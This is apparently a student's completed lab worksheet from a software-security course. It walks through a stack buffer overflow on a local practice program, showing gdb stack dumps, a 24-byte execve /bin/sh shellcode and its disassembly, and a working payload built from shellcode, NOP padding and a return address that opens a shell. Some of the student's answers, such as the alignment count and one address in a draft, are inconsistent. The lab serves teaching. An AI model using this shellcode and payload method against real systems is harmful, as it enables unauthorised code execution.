Finally, we will use this approach to find the buffer address when we provide a string with the length needed to overwrite the return address on the stack. (Recall that the stack address changes when environment variables and command line parameters change.) Repeat the steps from GATE 4 above to examine the stack during execution and find the buffer address that will work when we invoke the program using this method. The length of our input will not have changed, only the stack location. Use the space below to report the contents of your stack, and the new buffer address. (It is important to be able to use gdb to find this buffer address because most programs do not print out the address of their vulnerable buffers!)

You’ll refer to the buffer start address again in GATE 7.

```
Starting program: /home/seed/stack_addresses/ans_check5 $( python -c "print '\xAA'*48 +
'\xb3\x85\x04\x08'")
ans_buf is at address 0xbffffd6c

Breakpoint 1, 0x08048556 in check_answer (
    ans=0xbfffff6a '\252' <repeats 48 times>, "\263\205\004\b")
    at ans_check5.c:12
warning: Source file is more recent than executable.
12          strcpy(ans_buf, ans);
(gdb) x/32xw $esp
0xbffffd50:     0xbffffd6c      0xbfffff6a      0xbffffd70      0x080482c7
0xbffffd60:     0x00000000      0xbffffe04      0xb7fba000      0xb7eeed57
0xbffffd70:     0xffffffff      0x0000002f      0xb7e14dc8      0xb7fd6858
0xbffffd80:     0x00000001      0x00008000      0xb7fba000      0x00000000
0xbffffd90:     0x00000002      0x00800000      0xbffffdb8      0x080485cb
0xbffffda0:     0xbfffff6a      0xbffffe64      0xbffffe70      0x08048651
0xbffffdb0:     0xb7fba3dc      0xbffffdd0      0x00000000      0xb7e20637
0xbffffdc0:     0xb7fba000      0xb7fba000      0x00000000      0xb7e20637
(gdb) c
Continuing.

Breakpoint 2, 0x0804855b in check_answer (ans=0xbfffff00 "\031")
    at ans_check5.c:12
12          strcpy(ans_buf, ans);
(gdb) x/32xw $esp
0xbffffd50:     0xbffffd6c      0xbfffff6a      0xbffffd70      0x080482c7
0xbffffd60:     0x00000000      0xbffffe04      0xb7fba000      0xaaaaaaaa
0xbffffd70:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0xbffffd80:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0xbffffd90:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0x080485b3
0xbffffda0:     0xbfffff00      0xbffffe64      0xbffffe70      0x08048651
0xbffffdb0:     0xb7fba3dc      0xbffffdd0      0x00000000      0xb7e20637
0xbffffdc0:     0xb7fba000      0xb7fba000      0x00000000      0xb7e20637
(gdb)
```

GATE 6

We will now explore putting an executable sequence of bytes (a shellcode) into our input string. Using nano, create the file stest.c and fill it with the following text.

```
#include <stdlib.h>
//shell
char sc1[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68"
            "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
           "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main()
{
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)sc1;
}
```

Compile the source file with the following command.

```
gcc -fno-stack-protector -g -z execstack stest.c -o stest
```

When you execute "./stest", you will find yourself in a new bare-bones shell. This verifies that the sequence of 24 bytes stored in sc1[] open a shell as expected.

To see the assembly that corresponds to this shellcode, we can disassemble the stest binary. To disassemble and view, using the following command line.

```
objdump -D stest | less
```

The -D switch disassembles everything in the file, even data arrays like sc1. You can search within "less" to find what we are after by entering `/sc1 <enter>`. Copy and paste the disassembled code into the space below.

```
0804a018 <sc1>:
 804a018:      31 c0                xor    %eax,%eax
 804a01a:      50                   push   %eax
 804a01b:      68 2f 2f 73 68       push   $0x68732f2f
 804a020:      68 2f 62 69 6e       push   $0x6e69622f
 804a025:      89 e3                mov    %esp,%ebx
 804a027:      50                   push   %eax
 804a028:      53                   push   %ebx
 804a029:      89 e1                mov    %esp,%ecx
 804a02b:      99                   cltd
```

```
804a02c:     b0 0b          mov    $0xb,%al
804a02e:     cd 80          int    $0x80
```

As you can see, we can find the byte code encoding very easily once we have a binary. This is the basis for how shellcode is generated in the first place. Write your target program in minimalist C, compile it, and disassemble the binary into bytes. We will revisit this topic in the coming weeks. For now, we will use the shellcode given above.

GATE 7

As discussed in the lecture, to construct our payload, we need to align the shellcode, add safe padding, and add the desired return address, as illustrated in the next template:

```
'PAYLOAD' = '<Aligned Shellcode>'+<Safe padding>+'<BUFFER_START_ADDRESS>'
```

We are now going to construct the payload required to run the above shellcode in our program. If needed, you can use NOPS (`'\x90'`) for alignment and/or padding.

Constructing `<Aligned Shellcode>`

First, use the following space to copy the 24 byte payload of the shellcode.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

Second, we must align our shellcode to start exactly at the desired return address (the buffer address). Since we build our program to use a 32-bit architecture, we want to make sure that the shellcode portion has a length that is a multiple of 4. How many bytes do we need to add to our shellcode?

I think it is 24. (Because 48 – 24)

Adding `<Safe padding>`

From our work above, we know the overall total length of the input needed to place the final four bytes on top of the return address on the stack.

In the payload string pattern above, we need to find how many bytes are missing between the aligned shellcode and the return address.
What is this number?
Add the safe padding to the aligned shellcode and write your answer in the space below.

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90

Adding `<BUFFER_START_ADDRESS>`

From our work above, we have the start address of the buffer, so add it to the payload.

Constructing the final payload

Now let's go back to our PAYLOAD template:

```
'PAYLOAD' = '<Aligned Shellcode>'+<Safe padding>+'<BUFFER_START_ADDRESS>'
```

Construct the payload and execute it with a command line as you did in GATE 5. Include your command line and output below.

---

env -i PWD="/home/seed/stack_addresses" SHELL="/bin/bash" SHLVL=0 /home/seed/stack_addresses/ans_check5 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x60\xfd\xff\xbf

0xbffffd6c
\x6c\xfd\xff\xbf

GATE 8

Invoke gdb (like you did in Gate 5) and provide the payload you found. Paste the content of the stack below, and mark the buffer start address and the return address **before and after strcpy**.

FIRST, I executed on command line and I got another bash shell!!!!

```
[02/10/22]seed@VM:Byeongchan$ env -i PWD="/home/seed/stack_addresses"
SHELL="/bin/bash" SHLVL=0 /home/seed/stack_addresses/ans_check5 $( python -c "print
'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xc
d\x80' + '\x90'*24 + '\x6c\xfd\xff\xbf'")
ans_buf is at address 0xbffffd6c
$ exit
[02/10/22]seed@VM:Byeongchan$
```

SECOND, using gdb, investigate the content of the stack!!
I can see the corrupted stack content filled with the malicious code and \x90s and return address which points to the malicious code!!

```
(gdb) x/32xw $esp
0xbffffd50:     0xbffffd6c      0xbfffff6a      0xbffffd70      0x080482c7
0xbffffd60:     0x00000000      0xbffffe04      0xb7fba000      0xb7eeed57
0xbffffd70:     0xffffffff      0x0000002f      0xb7e14dc8      0xb7fd6858
0xbffffd80:     0x00000001      0x00008000      0xb7fba000      0x00000000
0xbffffd90:     0x00000002      0x00800000      0xbffffdb8      0x080485cb
0xbffffda0:     0xbfffff6a      0xbffffe64      0xbffffe70      0x08048651
0xbffffdb0:     0xb7fba3dc      0xbffffdd0      0x00000000      0xb7e20637
0xbffffdc0:     0xb7fba000      0xb7fba000      0x00000000      0xb7e20637
(gdb) c
Continuing.

Breakpoint 2, 0x0804855b in check_answer (ans=0xbfffff00 "\031")
    at ans_check5.c:12
12          strcpy(ans_buf, ans);
(gdb) x/32xw $esp
0xbffffd50:     0xbffffd6c      0xbfffff6a      0xbffffd70      0x080482c7
0xbffffd60:     0x00000000      0xbffffe04      0xb7fba000      0x6850c031
0xbffffd70:     0x68732f2f      0x69622f68      0x50e3896e      0x99e18953
0xbffffd80:     0x80cd0bb0      0x90909090      0x90909090      0x90909090
0xbffffd90:     0x90909090      0x90909090      0x90909090      0xbffffd6c
0xbffffda0:     0xbfffff00      0xbffffe64      0xbffffe70      0x08048651
0xbffffdb0:     0xb7fba3dc      0xbffffdd0      0x00000000      0xb7e20637
0xbffffdc0:     0xb7fba000      0xb7fba000      0x00000000      0xb7e20637
(gdb)
```

We still have more work to do to create reliable exploits. At this point, we are still relying on our ability to control many aspects of the system by disabling ASLR and NX protections; more advanced techniques have been created to reduce the extent of the control we require to craft effective payloads.

COMPLETE